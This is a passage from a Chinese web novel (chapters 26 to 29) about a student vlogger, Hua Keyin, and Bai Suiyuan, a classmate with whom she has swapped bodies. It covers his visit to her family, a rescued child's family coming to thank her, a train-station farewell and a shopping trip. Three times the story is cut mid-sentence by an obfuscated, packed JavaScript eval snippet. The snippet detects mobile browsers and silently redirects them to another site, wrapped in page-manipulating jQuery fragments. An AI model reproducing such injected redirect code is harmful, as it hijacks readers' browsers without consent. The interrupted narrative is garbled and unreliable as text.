她在床上盘坐处理了许久消息，孟苏在外面猜测女儿已经醒了，走过来敲门喊：“可吟，醒了吗？” “妈，我行啦。”都19了，华可吟睡懒觉的时候听到父母的声音还是心虚。 “起得来吗，要不要在床上吃？”孟苏打开门，看到坐在床上的女儿脸色不错才放心。 “我出去吃，马上啊。”华可吟立马跳起。 “行，出来喝点粥。” 等孟苏把门带上，华可吟才想起昨晚的事。 她叫柏随远进房间帮忙擦药，自己却没过多久就睡着了。连谢谢都没来得及讲，华可吟有点不好意思地换好衣服走出门。 26. 道谢 今天是周五，华荣已经去上班了。孟苏最近不忙，又请了一天假照顾女儿。 华可吟走出来时对面的客卧开着门，房间里收拾得干干净净，像是昨天没有客人睡过一样。 她去卫生间洗漱完，朝客厅看去也空空荡荡的。 柏随远已经回去吗？ 华可吟垂下眼睛，她还没来得及多说几句话呢，柏随远就走了，他今天明明没什么急事啊。 “洗漱好了，快过来坐。”妈妈的声音从厨房传来。 华可吟轻轻甩头，不要想柏随远的事了，换回来的就该过自己的生活。 “好嘞。”她应答着朝餐厅走，抬头就看到妈妈端着一碗白粥走出来，脸上的笑容居然有点促狭，“快坐下，来吃吃小柏炒的菜。” 跟在孟苏身后的赫然是柏随远，他一手端一盘菜，黑色的毛衣袖口被拉到小臂上，胸前居然还系着家里的碎花围裙。 这身过于居家的打扮，让即使是仍旧脸上没什么温度的柏随远，看起来都带点暖洋洋的气质。 “小柏真厉害啊，早上你爸也吃了不少他炒的菜。”孟苏把碗放下，不遗余力地夸柏随远的手艺。 早上她醒来淘米听到门铃，居然是一大早去买菜的柏随远回来了，手里提些青菜和海鲜。 她客套地劝了好几次，对方还是说要给华可吟食补。 对方讲话简洁但态度坚持，孟苏也只能在旁边打下手，看这孩子炒了几个菜，接着用砂锅炖上海鲜，要给可吟补锌。 没过多久华荣洗漱完走出来，看到桌子上几道菜也愣了，家里什么时候早饭吃得这么复杂了？ 等发现里面还在处理海鲜的柏随远，他嘴角抽抽，这才哪儿到哪儿，怎么来自己家讨好起来了！ 等到三人坐好一起吃早饭，华荣的脸色还是一般，没夹几筷子菜。 孟苏在旁边翻老华几个白眼，又转过头夸柏随远：“哎哟，小柏，你做饭还挺专业的，现在会做饭的年轻人不多啊。” “嗯，小时候会做几顿。”柏随远小口吃白粥，咽下去后才回答。 其实他会做的只是一些简单的餐食，但他早起搜索食谱后觉得应该不难，因此买回菜后自信上手。事实证明对他来说果真不难，成品看起来很不错。 孟苏对这个面冷心热的年轻人更满意了，一早晨没说几句话，但做事真麻利啊。 她在旁边全程夸赞柏随远，虽然孩子们现在都还小，谈个恋爱也不一定就要结婚过一辈子。但小柏看起来挺靠谱，可吟生病就跑过来小媳妇一样探病。 女儿去外地上学他们两口子担心，有个这样的男朋友在身边照顾也不错。 孟苏打着“用无尽的热情夸赞让柏随远完全爱上做饭，闺女以后就能多吃点家常有营养的食物，不用天天吃外卖”的计划，对柏随远的态度非常亲和，把站在洗碗池前的柏随远赶出了厨房。 “让你叔叔来就行，小柏，阿姨真是太感谢你了，你先去看电视休息休息吧。”孟苏满脸亲切地笑，“可吟工作忙啊，睡眠总是不够，她在家里睡多久，我们都没有意见的。可吟搞那个视频也又累又辛苦，上次还被人发网上造谣。” “是，她很不容易。”柏随远点点头。每次看到华可吟，对方都没有休息的时候，学业工作两头忙。 华荣在厨房里边洗边偷听，出来准备上班时又在玄关被孟苏警告了几句，让他以后别甩脸。 华父一走，孟苏和柏随远坐在客厅里看电视，也没好奇地继续问男孩的家庭情况，而是把话题引向年轻人的大学生活。 柏随远回答得简单，但态度显得很认真。孟苏又追问了些华可吟回家没讲到的小事，从侧面了解到华可吟平时课余时间的忙碌。 正心疼女儿，孟苏的手机响起不绝于耳的消息声。她打开一看，什么亲戚朋友邻居的，全在问华可吟是不是救小孩了，上公众号啦。 各种关心道贺的电话硬生生让孟苏讲一个多小时，放下手机想起早到华可吟平时起床的时间，她这才去卧室敲门叫华可吟出来吃饭。 听完妈妈的转述，华可吟觉得不可思议，柏随远在长辈面前居然是这种懂事贤惠的人设吗？ 她极速思考自己前两天在柏随远父母面前是不是太过ooc，吃饭时不自觉频频看向对面的柏随远。 柏随远坐在桌边，仍旧穿着那条暖色的围裙，正低头用修长的手指灵活地连剥好几个橘子。 这画面太具迷惑性，华可吟差点忘记对面这人几天前还在群里连发“收到请回复”。 华可吟回想，觉得昨天自己到医院，柏随远从在她身体里起就显得有点不寻常。人多事杂的时候这种感觉还不明显，换回来之后柏随远明显话多了不少。 这种诡异感在饭后柏随远把橘子剥成标准的五瓣，一点点揭下橘络，将那一小堆橘子推到自己面前的时候达到了顶峰。 看着旁边妈妈已经开始回避的眼神，以及柏随远微红的耳垂，华可吟刚想说点什么缓解尴尬，家里的门铃就响了。 孟苏从猫眼看去，发现是那天落水孩子的妈妈，后面好像还跟着拿摄像机的人。 她赶快回头检查一下屋子里是否干净整齐，还好平时家里家务做得勤。 “可吟，是家属来道谢，还有记者。”孟苏走回来开口提醒女儿。 “啊。”华可吟显然也没想到对方会在这个时间来，赶紧起身打算去房间里再梳梳头发。 走到一半，她又突然回头，对正收拾碗筷的柏随远说：“把围裙脱下来！” 大门一开，是那天焦急求人帮忙的女子带着丈夫女儿，进来就朝鞠了三躬，后面的摄影师早就打开机器开拍。 女人拉住华可吟感谢：“华小姐，太谢谢你了！” 男人则是拉起站在自己腿后显得有点害羞的小女孩，让她往前站：“我家小宝上岸之后也知道自己是被一个大姐姐救了，心里一直想来谢谢大姐姐的。” 可能是因为华可吟笑得温柔，小女孩逐渐克服面对一屋子陌生人的恐惧，上前两步用稚嫩的嗓音小声说：“谢谢，谢谢姐姐。” 华可吟摸摸小女孩柔软的头发。这是个可爱的孩子，圆脸圆眼，抬头朝自己看过来的眼神好奇又单纯。 小孩被华可吟看得害羞里，小手从自己背的粉色书包里掏出一张纸，小心翼翼地递给华可吟：“姐姐，给。” 女孩妈妈立刻解释：“这是小宝醒来后画的画，她说是给救命恩人的礼物。”想到那天害怕担心的心情，女人又忍不住流下眼泪。 孟苏赶紧上前来抱住她的肩膀抚慰，华可吟也又摸摸小孩的头道：“那天有很多人勇敢站出来，不止我一个。” 说罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403639|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拿起手上的礼物，这是张被叠成信封样式的白纸，中心画着一个大大的爱心，翻开爱心后，里面充满童趣的蜡笔画出现在华可吟眼前。 底部是经典儿童画法的三尖草，两边的树木围住中间蓝色的一道河，河中央画了个双马尾的小火柴人，华可吟看出来这就是溺水的小女孩。 而画面上方，是一个被精心描绘的长发女人，她的背后有两个硕大的翅膀，头顶还用金黄色画了一圈光环。 华可吟看得又感动又想笑，原来孩子眼里把自己看成天使吗。 “姐姐。”小朋友的声音又弱弱地响起，她拿出两颗糖放进华可吟手中，“姐姐吃。” 孩子妈妈的情绪又绷不住了，在孟苏怀里抖动哭泣：“都怪我，那天都怪我没牵好孩子的手。” 她老公听罢也流下了两行热泪，过来安慰妻子：“你不要再自责了，那天也是因为我在加班，你才会一个人带小孩的，要说错我错得更多。” “对啊，孩子现在还好好地就行。”孟苏感觉一起安慰，接着她又移开话题：“孩子叫小宝是吧，真可爱，和我家可吟小时候还有点像呢。” 柏随远在身后躲过摄像范围一直默默围观，听到这句话也看向小女孩。小宝的圆眼睛转动间那股聪明可爱的劲儿，真的和华可吟有点相似。 他忍不住猜想，小时候住在小区里的华可吟是不是也会穿粉色棉袄牵着父母的手，面对陌生人的时候是不是也会害羞地后躲。 不，华可吟最社牛了，每次在外人面前都是最热情，最受欢迎的那个。 他原本就因为救了一个小孩子而自豪的心，此时想到这些又多了些灼热，也许他挽救的正是一个和华可吟家一样幸福的家庭。 孩子父母的情绪平复了下来，他们把提来的礼物放在桌子上，又坚持要掏华可吟的住院费。 住院费孟苏没拒绝，提来的果篮和几箱补品一阵推拉后也没退回去。 众人又聊几句后，孩子父母表示要去华容单位里道谢。 孟苏摆手对孩子说：“小宝，下次再叫你爸妈带你来可吟姐姐家玩啊。” 女孩开心地点点头，放开华可吟手的时候还有点依依不舍。 等众人退出家门，华可吟偷偷跟上，找到人群中的摄影师，“大哥，你看能不能不把这段放出去？你们可以多拍点感谢我爸的画面。” 她不想让关于自己的部分再继续发酵，那会让她有点心虚。 摄影大哥也能猜到有些人不想暴露太多隐私：“起码得放两秒出去”，他又叹气道：“这夫妻俩也不容易啊，两个人都被骂‘看不好孩子就不配养’，他们俩压力大啊，她妈妈今天看手机，哭了好几次。” 华可吟没想到一个上午，事情会发展成这样，但也只能叹气说：“那谢谢大哥了。” 她回到自己家时想到女人自责崩溃的哭泣，内心无限波动。 “华可吟。”柏随远看到华可吟回来之后情绪低落，“发生什么了？” 华可吟忍不住转述刚刚摄影师的话，柏随远听完也沉默下来，过几秒才开口：“不要在意那些网线以外不清事实的人，现在小女孩安安全全出现在我们眼前才最重要。” 华可吟看着对方坚定的眼神，点点头说：“嗯”。 随后她又轻轻开口：“谢谢你。”谢谢你救了小女孩。 27. 送别 孟苏一转头，很不想打扰这两人间的粉红泡泡，她甚至想直接找个借口出去转一下午，毕竟医生也说华可吟没什么事。 但早上的电话里华可吟的奶奶不放心还要来看看孙女，所以她还是开口了：“可吟，你奶奶说要带小点一起来，他们都关心你住院的事。” 华可吟点点头，她和表妹小点的关系很好，这有几个月没见了。 “阿姨，那我先走了，我买的十二点的高铁票。”柏随远很有眼色地说。 “小柏，阿姨开车送你去。” “不用，您在家陪华可吟休息吧。” “可吟也没什么事，阿姨去拿钥匙。”孟苏不好意思让柏随远做一早晨饭，再独自坐地铁去高铁站，转头对华可吟说：“你也一起。” 三人花半个多小时就开到上阳市高铁站进站层，路上华可吟偷偷朝后看，柏随远的手指有节奏地在膝头轻点，心情很好的样子。 孟苏眯眼笑说：“可吟进去送送小柏吧，我等会再开过来接你。” 柏随远随身连个包都没带，两个人进站后手插在大衣兜，静悄悄地往进站口走。 两人本来是并排的，但柏随远的步伐比华可吟要快一点，没走几步就变成了一前一后。 这样的情况太常见，从两人第一次互换回校开始，华可吟就追不上这男生疾步快走的背影，她都习惯了。 脑袋里想着柏随远早上怪异的举动，华可吟双腿机械地朝前走，身体突然撞到了什么。 大衣绒毛的质感蹭过鼻尖有点扎，华可吟下意识地先说了句“对不起”，一抬头，发现自己撞在了柏随远怀里。 “你在想什么？”男生的声音从头顶传来。 “没什么…”华可吟连忙后退了两步，祈祷柏随远不要再问下去了。 没想到他就真的没再说话，一言不发地走到靠近入口的一排空座位。因为是工作日，四周的乘客不太多，两人隔一个位置坐了下来。 华可吟觉得今天一整天气氛都很奇怪，想说点送别的话赶快离开，又不知如何开口。 就在华可吟终于忍不住要说出“我先走了”的前一秒，柏随远说话了。 “篮球。”他语气淡淡道：“养身体这几天最好还是别去聚会了。” “哦对。”发生这么多事，华可吟差点忘记和林逸阳还约了几天后去看球。 “现在就发吧，免得忘记。” 华可吟也觉得这种聚会临时不去最好早点说，免得人家安排时为难，她立马打开手机发微信。 —sing：逸阳，不好意思啊。【猫鞠躬】 —sing：后天的篮球场我可能去不了了，希望你们玩得开心哦。 没想到对面林逸阳秒回微信。 —Shark34：是有事情吗？没事的，下次一起玩。 —sing：有点感冒。 —Shark34：可吟，照顾好自己【脸红】 华可吟想再解释几句，答应的事临时放鸽子她觉得很抱歉，正打字时耳边突然响起一道低沉的声音。 “可吟。”柏随远字正腔圆地说：“我也叫你可吟，可以吗？” “行...行啊。”不是一般都叫她全名的吗，华可吟脑袋里沉甸甸的。 柏随远转过身注视华可吟，音量在不算吵闹的候车厅里很清楚：“可吟，你有喜欢的人吗？” 低沉的声音传入耳中，华可吟用余光扫了一眼，不敢转头对上那道灼热的视线。 她摇摇头，真的觉得有大事不妙。 都是成年人了，她察觉到现在的气氛和柏随远问出这话的意思，可是一时间竟没法思考。 柏随远好像还想说什么，检票的提示广播却突然响起。 嘈杂的背景音里，华可吟看到柏随远的嘴巴动了动，却没有听到这句话的具体内容。 “开学见。”柏随远最后说了句道别，走向检票的队尾。华可吟觉得自己看到了他转身时嘴角一个浅浅的弧度。 * 柏随远上车找到自己的位置，旁边是一个中年大叔。 他坐下后打开手机里华可吟微信头像的大图，看着看着就忍不住露出一个笑容。 他猜华可吟听懂了，对方那么聪明，肯定知道他的意思。 表达了好感后的柏随远觉得自己进入到攀登高峰的第一级台阶。 他点开华可吟粉丝最多的视频平台，非常郑重地从第一个视频开始“考古”。一点也不舍得快进，四十分钟的路途才看完华可吟帐号的一小部分内容。 旁边的大叔在柏随远刚上车就注意到他了，毕竟人类的审美是相似的，同性也会忍不住欣赏帅哥。 等到柏随远在云州站下车后，大叔在位置上摇摇头，把自己手机里的某音app删除。 邻座的帅哥穿得人模人样的，却一坐下就开始傻笑，后来甚至边捂着嘴巴笑边拿手机看了一路短视频。 人，还是得少刷短视频。没见那个看起来挺聪明的年轻帅哥，刷视频都刷傻了吗？ 柏随远看手机看得开心，另一边的华可吟却完全看不进屏幕。 中午玩手机的人更多，朋友们有不少刚看到新闻来关心她的，还有嗅觉灵敏的广告商已经给她发了合作邀请。 华可吟是不打算在自己账号上专门就救人的事情发一期视频的，因为事情原委在采访里说得很清楚了。 而且，最重要的是，那一瞬间跳下去的并不是她本人，她没办法怡然自得地转述出当时的心理活动。 回绝完消息，想要转移注意力的华可吟打开视频软件的后台，手指随意划进消息界面。 一点进去就是连着十几条同一个人点赞自己早期视频的提示。 这种情况并不少见，华可吟的眼神从上面掠过，却突然发现对方的头像有点熟悉。 这不是...柏随远的微信头像吗？ 华可吟脑海又一次仿佛被格式化，脑细胞一想起车站里柏随远的那个问题就立马罢工。 她愣了半晌，最后点进这个账号，发现对方有1个关注、0个粉丝。 最后，她还是放弃切换小号来关注这个账号的计划，偷偷把他的uid复制到了备忘录里。 华可吟很想劝自己是误会，对方只是因为这次意外多关心了自己一点，可是柏随远昨天晚上和今天上午的温柔行为呢？ 嗯...男生喜欢上自己也无可厚非，柏随远也高帅人又正直。 她惊讶的只是柏随远看起来每天都一本正经的，和自己互换的几次也都非常有距离感，怎么突然之间就有了那个意思。 对，就是互换！华可吟迅速找到了疑点，她猜测柏随远是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410325|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边本来就没什么熟悉的女孩，没看他妈甚至要介绍同龄女孩给他认识嘛。 就像是“吊桥效应”，一对正值青年的男女在遇到意外时更容易分不清心动的来源。这是幻觉。 虽然不觉得谈恋爱就必须得结婚，但华可吟也是一个对待感情较为认真的人。她的计划里会在本科期间谈一到两场校园恋爱，期望都是成熟、自然的感情。 现在和柏随远的接触，因为互换的存在，像一个“作弊器”一般搅乱了两人的正常接触，这完全不在华可吟的预想当中。 可对方什么明显的举动都没做，“他对自己有好感”也只是猜测。华可吟想要拒绝，却不能直接发消息说自己现在还不打算谈恋爱，这太奇怪太突兀了。 她挠挠头，真不知道该怎么办，这人不是上次在办公室还当不认识自己吗！ 孟苏从后视镜看到女儿出来以后就红扑扑到的脸，现在又摸起脑袋，那样子像极她小学周末不愿意上芭蕾兴趣班的时候。 正怀念孩子童年的妈妈微笑地摇头，一路上都没开口说话。 * 其他同学的寒假可能是放松的时候，华可吟却在养了几天身体后就继续安排新的拍摄计划。 冬天快要过去，各个女装店都提前准备上新的春装，华可吟也有几家经常合作推广的店铺寄来衣服。 其中有几件外套，室外拍摄的景色比室内好，华可吟花两天在上阳市一个景色漂亮的公园拍摄。 虽然效果很好，但女装拍摄酷爱不合时宜的露腿。人们大多不会这样穿出门，但拍摄产品图的时候又约定俗成地光腿拍，这让她非常不幸地又感冒了。 而柏随远自从上次回去后就没再联系过她，搞得华可吟几乎要怀疑那天是不是自己的错觉了。 她在空闲时间总是想起十天前对方的表现，屡次忍不住点进他的微信，可柏随远的朋友圈仍旧只有学校要求的任务转发。 今天和爸妈一起去高铁站接外地回来的舅舅一家，华可吟站在出站层又想起了那天柏随远临走时留下的背影。 站在春运期间熙熙攘攘的人群中，华可吟复制备忘录里的那串id打开搜索栏输了进去。 仍旧是关注1、被关注0的账号，连背景图和简介都没有。看得出柏随远真的不怎么玩娱乐软件，因为对方连收藏夹都没关。 人难免会有好奇之心，华可吟大拇指一划，收藏夹里居然全是自己的视频。 她的脸微微发红，安慰自己可能是朋友的支持。 …可能吗？单纯的异性朋友可能在几天内点进每一条视频，挨个给她点赞收藏吗？ 想到开学后两人还会有因为互换不可避免的接触，在接到小舅和表姐后回家的路上，华可吟仍旧有些发呆。 “可吟，你今天怎么了？”表姐孟雪乔坐在华可吟和她爸中间，很奇怪平时话多的表妹今天怎么这么沉默。 “我，我昨天熬夜有点困。”华可吟随意找个理由，说到最后却忍不住打了个喷嚏，还好她反应快用纸捂住嘴巴。 感冒人是这样的，她两个兜里都是满满的手纸。 这句话好像点穴一般，小舅在一旁立马开始吐槽起表姐：“现在年轻人都是美国作息啊，你姐天天中午才起床，晚上也不知道拿着手机在玩什么，待在家里不运动才会抵抗力这么差的。” 28. 逛街 前面华荣边开车边点头说：“可吟也是，在家天天拿着手机看，现在小孩戴眼镜的越来越多，也不知道手机里是有什么好看的东西。” 孟苏在副驾驶瞥丈夫一眼：“手机都不好看，那什么算好看？你还说可吟呢，你不也天天拿着手机看你那小说吗？” 最近华荣不仅看，还喜欢听小说，每天晚上睡前把手机摆在枕头边公放，那些什么“金丹”“筑基”的孟苏也搞不懂。等听到丈夫的鼾声，她伸手去点暂停，华荣却又一秒睁开眼睛说：“我在听。” 华荣不置可否，他确实最近爱上那些几千章的小说，可是他办公室几个同事都爱看啊。他们单位不忙，领导又好说话，上班能干的事确实不少。 后座的舅舅不敢反驳姐姐，看到姐夫也被说哑火了，不好意思再继续批评女儿玩手机，随口说起来别的话题：“姐夫，你看新闻了吗？美国对石油那可真是...” 表姐孟雪乔听到爸爸又开始那一套，无奈地朝华可吟摊开手，华可吟默默用口型说里四个字——“中年男人”。 舅舅和舅妈从华可吟小时候开始就是各回各自老家过年，华可吟外公外婆家房子也不大，所以一般是舅舅去外婆家住，而表姐睡华可吟家客房。 众人先把华可吟和表姐先送回家，孟苏祝福华可吟帮表姐收拾收拾，之后几个大人一起去老人家。 孟雪乔一下车就不在意地摆手和自己爸爸告别，华可吟听到车里又传来舅舅对表姐的吐槽。 “不听他讲，刚放假的时候我干什么都好，现在我干什么都说我。”表姐比华可吟大两岁，在别的城市读大三。 两人提着行李上楼，今天天气很晴，华可吟先去冰箱里拿了两瓶冰果汁出来，她记得表姐就爱喝这个。 果然，孟雪乔拿起瓶子喝了一口后，豪迈又享受地“哈”一声说：“还是你家好，可吟，我觉得姑姑还没进入更年期，我爸进了好久了。” 说罢她抱起正在沙发上盯着旁边浴缸金鱼看的小猫，夹着嗓音问：“咪咪，想不想姐姐。” 小猫也明显认识这个常来的人类，没怎么反抗，任由孟雪乔用鼻子蹭她的肚子。 “它叫小丁，小丁。”华可吟笑着再次纠正小猫名字，走进客房里换新床单。 孟雪乔把果汁放一边帮华可吟一起扫灰，随口问：“你那男朋友怎么样了，你们是一个学校的吗？” 华可吟想到柏随远对自己若有若无的好感，不确定以后会不会有别的接触，最后还是选择了约定好的说法：“分手了。” 孟雪乔听出表妹的犹豫，立刻嗅到八卦气味，活都不干凑过来问：“怎么回事？怎么分的？” 看着眼中泛出精光的表姐，华可吟说出官方回答：“性格不太合适，和平分手。” “真的？”孟雪乔明显不相信，但看华可吟严防死守的样子，只能转而问：“有照片没？给我看看。” 华可吟起初不答应，两个人从小玩到大，孟雪乔怎么可能不知道华可吟的死穴，立刻上手挠痒痒肉。 华可吟也知道表姐的笑穴在哪，迅速还手借力打力，两个人仰倒在床上开始大战。 最后还是没经住“严刑拷打”，华可吟东翻西找才从学校公众号一篇推文里找出柏随远的证件照。 “挺帅的啊。”孟雪乔凑近仔细看表妹的初恋，随即又睁大眼睛，里面充满审视地问：“你手机里居然一张他的照片都没有？” “分手都删了。”华可吟丝毫不慌。 “行吧。”孟雪乔觉得这两个人在一起也挺般配，不过人家都分手了，她也不好再说这些。而且，虽然表妹说是和平分手，但就这状况看来，分手肯定是男方有什么缺点！ 自己的表妹自己知道，华可吟从小就受欢迎，性格不自傲还很随和，孟雪乔不相信真有什么男生能和她“性格不合适”。 “下一个更好。”孟雪乔下达最后评语。 “管他什么恋爱呢，我现在可是上过新闻的人，事业最重要～”华可吟在亲人面前翘起臭屁的嘴角。 “行，明星，明星围好围巾领我吃个汉堡去。”几个大人去完外公外婆家还要买年货，让两人自己解决午饭。 * 第二天起来，华可吟的嗓子好了点，鼻子却依旧不透气。 表姐劝华可吟去医院挂吊瓶，陪她去了检查一番，排除是病毒型流感，最后医生开了点药让她在家休养。 等华可吟养好病，已经是大年二十八。 表姐孟雪乔每年都在这过年，加上从小熟悉的闺蜜程雨濛，三人关系不错，约定一起到华可盈家附近的商场逛街。 有不少学生选择在高考结束的那个暑假考驾照，华可吟也不例外，只不过她拿到驾照后也没独自开过几次家里的车。 倒是程雨濛家小区比较偏，假期都会开车来回，今天也是她来楼下接两人去商场。 过年前的商场非常热闹，商家们开始积分促销活动。三人从地下停车场直上一楼就看到满天红色的装饰，不少店铺门口都限制起了人流。 虽然华可吟因为刚刚痊愈，没怎么打扮，一只医用口罩遮住大半张脸。但三个穿着都不错的女孩正是不少店铺的目标客户，柜台店员们尤其热情。 “等会去楼上试试大衣吧，我想买件灰色的。”程雨濛说起想买的东西，语气居然很低落。 华可吟看着她身上的亮色外套，不解地问：“潮牌店不都在一层和负一层吗？” “我妈叫我买点能见人的衣服。”程雨濛更不开心了，今天早上她妈妈特意叮嘱，让她买点能穿去拜年的衣服，“我这些衣服哪个不能见人？我天天穿出门，难道算裸奔吗？” 其实程雨濛平时的穿着打扮在大学城里并不少见，毕竟现在有性格的年轻人很多，她连头发都只是挑染了一点，平时充其量让人觉得这女孩挺潮。 可她妈妈不这么觉得，程雨濛家父母都从商，她妈妈是个非常优雅的阿姨，平时见客人都穿套装。 中学时期发现程雨濛的艺术天赋后，她妈妈思考很久才允许她学习绘画，现在却越来越看不惯女儿的打扮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415483|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华可吟想象程雨濛妈妈说这话的画面就想笑，一个妆容发型无不精致的优雅女性怕是要斟酌许久才能说出“不能见人”这四个字。 孟雪乔也在旁边劝道：“那就买一件这几天穿，为了几件衣服和家长争来吵去没什么结果。” 她和她爸就不怎么吵架，即便再忍不她爸的唠叨，她也会想办法忍。因为吵也没办法，说不过她爸啊。 几人从一楼逛起，华可吟非常豪迈地逛了一圈珠宝品牌店铺，最后给妈妈买了一对珍珠耳钉，是平时在学校戴也不张扬的款式。给爸爸挑了一只周年系列的腕表，方便他伸出手就跟人炫耀。 一上午，华可吟还给自己买了不少新衣服、首饰、新包，算作犒劳自己努力工作努力学习的奖励。 这一年华可吟的事业可谓是蒸蒸日上，几个月来接连有扩大曝光量的事件发生。 虽然她没有刻意蹭这些热度，但她的形象正向，内容质量又高，广告报价一直不低，她的存款随着粉丝量水涨船高，早就超过了六位数。 可还是因为太忙，后半学期她很大的精力都花费在学业上，内容更新比以前要少。 期末成绩出了后她非常满意，不会后悔作为学生的自己太过专注学业。但有时候她也会思考，自己有没有能力独自维持这样一个热度很高的账号的持续输出。 视频内容的可替代性很高，不少网红的寿命只有几年甚至几个月，不断创新刺激观众的感官才能维持流量。 这也是大部分网红后期都需要组建团队的原因，众人拾材火焰高，团队总比一个人能想出来的新点子多。 三人正坐在商场上层的一家西餐厅包厢里，大大小小的购物袋放在一旁的沙发座。 孟雪乔不时望向自己买的东西，忍不住满意地笑，翻倍积分活动对她们这种既是会员，又一次买很多东西的顾客非常友好。几人买贵价大件换的积分，就可以直接花在楼下化妆品专柜里。 程雨濛则是一眼都不想往那堆袋子看，眼不见心不烦，她觉得今天画的这些钱都算是白扔了。 华可吟还在心里盘算着自己明年的工作方向，群聊的提示音却响了，是许久不曾有过消息的项目小组群。 —柏随远【群主】：@全体成员，今天24点前把搜集的资料发到群里。 这是放假前安排好的任务，华可吟两周前就开始查找资料，已经编辑好了所有文档。 项目的学校大群里老师倒是时不时转发通知和大赛信息，而这个小群从半个月前见完辅导老师以外就没有任何发言，搞得华可吟去大群里确认过好几遍赛程安排。 点开消息界面的加号，华可吟从云文件里找出来她搜集的资料，在按下发送的前一刻，还是犹豫了一下。 直到第一个队友在二十分钟后发出第一份文件，她才又过几分钟才发出去。 程雨濛在旁边一直围观华可吟的操作，看着她颤巍巍的手忍不住笑。 孟雪乔在旁边见状也好奇地问：“怎么回事，参加这个比赛为什么要这么小心翼翼？” 29. 群聊 进小组的事华可吟告诉过程雨濛，当然也没必要瞒着自己表姐，当即就说出柏随远邀请自己进小组的前因后果，当然省略了“假恋爱”那段。 孟雪乔虽然心里觉得两个人分手肯定是柏随远有缺点，听完也还是点了点头，安慰华可吟：“这种事又不少见，你不是说组里还有别人把自己男女朋友拉进来的吗？怎么就你一个人慌。” 华可吟也不知道该怎么解释，他们是拉对象进组，甚至会包了分给对象的那份工作。可自己不是啊，自己可是顶着走后门的名号在认认真真做任务。 不过这么说出来多少是有点矛盾的，归根结底她还是因为关系进小组，当然会害怕合作完成得不好。 她在校园里有不少同学认识，万一在这种小组作业里不小心犯什么傻事，被捅出去笑话怎么办，她是有点爱面子的。 更何况，还有点华可吟不好意思说出来的情绪。柏随远现在正对自己有好感，她不想在对方是队长的项目里占便宜，或者不小心拖后腿。 人嘛，知道了别人对自己的关注，总是会不自觉想多表现好的那面。 下午几个人又把没去的几层逛了个遍，走过一个专卖香水的店铺时，华可吟突然想到自己上次送给柏随远的礼物。 根本就没在他身上闻到过。 * 晚上一起去程雨濛家别墅住，玩玩闹闹看电影。 正在播放的是一部贺岁主题老片，几人把它当作背景音乐聊天，华可吟发现程雨濛整个晚上都时不时拿起手机微笑。 孟雪乔谈过不少恋爱，见状调侃：“雨濛也谈恋爱了？” 华可吟听到这个“也”字，瞥了一眼表姐，几个女孩立马笑成一团，屋子里热闹得华可吟都害怕扰民。 “我...反正我是认识了个男生。”程雨濛少见地害羞起来。 “咱们学校的？大几？” “也是大一的，外语院的。” 华可吟听到这些信息就熄火了，她不怎么认识外语院的同学。 “男生女生啊？”孟雪乔语不惊人死不休，她记得大部分学校的外语院都是女生更多。 “男生。”程雨濛正喝水，听到这话都呛住了，连忙解释：“我们在图书馆见过，后面又在学校里碰到了几次认识的。” “在一起了吗？长什么样？给我看看给我看看。”孟雪乔对八卦是很平等的热情。 程雨濛在手机里找出那男生的朋友圈，全部内容都是开放的，每个假期都有几张旅游照。 最上面的是这个暑假的滑雪照，帅气的雪服显得氛围很帅，孟雪乔却没有半点犹豫继续往下刷：“脸都被雪镜遮住了，是个男的拍这样的照片都帅。” 继续翻找终于有了对方在海边的照片，“身材还不错”，孟雪乔点开照片先放大部分，判断这男生有没有p图，“这么有质感的照片不会都是女孩拍的吧，是不是个渣男啊？” 华可吟也伸出手指把照片往上划，这张发型越看越眼熟，她思考几秒才认出来，这好像是柏随远的朋友。 并非华可吟脸盲，而是第一次见楚以诚时，对方正熬夜写文档，憔悴的样子和照片里享受阳光海岛的男生实在差别太大。而第二、三次见又是在距离较远的校园，她坐在柏随远的后座上也看不清后来人的脸。 “是不是姓楚？” “哎，可吟你认识他？他叫楚以诚，你怎么认识的啊？”程雨濛显然很惊喜，她和楚以诚的关系还在暧昧，这感觉即上头又有点仍未确定关系的悬浮感。 “是柏随远的朋友。”华可吟实话实说，他觉得以柏随远的人品，接触的应该也不是什么坏人。 旁边的孟雪乔因为前几天看了华可吟找出来的推送，知道“柏随远”就是那个分手前男友的名字，轻轻“哧”了一声。 程雨濛则还是觉得华可吟上次住院是对方的原因，有点没消气，也撇撇嘴没继续说。 察觉到两人的沉默，华可吟后知后觉自己是不是在朋友面前把柏随远的形象塑造出了什么误会。 想到自己和对方提议假情侣和分手时，答应好好的处理后续舆论，她还是开口解释几句：“柏随远人挺好的。” 程雨濛给华可吟面子点点头，一看就很敷衍。 